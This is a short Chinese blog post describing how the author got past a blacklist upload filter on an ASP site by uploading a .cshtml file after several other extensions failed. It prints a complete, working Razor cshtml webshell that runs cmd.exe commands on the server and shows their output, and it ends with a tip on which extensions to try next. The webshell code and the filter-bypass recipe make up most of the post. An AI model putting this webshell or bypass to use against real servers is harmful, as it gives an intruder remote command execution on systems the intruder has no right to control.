最近挺忙的,没怎么更新文章。
微信公共号感觉跟死了的一样。。。
场景:一个asp上传。黑名单验证,测试了
asp asa,cer,cdx,htr,shtml 等方式
查看同服务器网站发现一个 php站 判断应该支持PHP
又继续试了 php Php php4 php5 phtml 测试失败
随手输入几个不存在的xxxxxxx.aspx 发现支持ASPX
又试了 aspx ashx 发现还是不行。。
最后试了cshtml 成功上传!
cshtml 是 MVC3 之后新增的视图文件,跟原先的 aspx 很相似。
区别主要在于二者的解释引擎不同。aspx 采用的是 WebForm Engine,而 cshtml 则是 Razor Rendering Engine。引擎的变化直接导致语法发生变化。aspx 中我们经常使用 <% test; %>这种,在 cshtml 中则改为 @{ test; } 这种更为简洁的写法。当然语法上的不同还有很多,题主可以专门去搜一下这方面资料。
传送门:https://niemand.com.ar/2017/05/05/from-404-and-default-pages-to-rce-via-cshtml-webshell/
cshtml webshell 马:
@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;
@functions {
string ExecuteCommand(string command, string arguments = null)
{
var output = new System.Text.StringBuilder();
var process = new Process();
var startInfo = new ProcessStartInfo
{
FileName = command,
Arguments = arguments,
WorkingDirectory = HttpRuntime.AppDomainAppPath,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();
return output.ToString();
}
}
@{
var cmd = ExecuteCommand("cmd.exe", "/c whoami");
}
Output of the injected command (by Niemand):
@cmd
总结:支持ASPX 就试 ashx不行就试cshtml
此文章没什么技术含量,微信公共号好久没更新了。。也不知道写什么。。。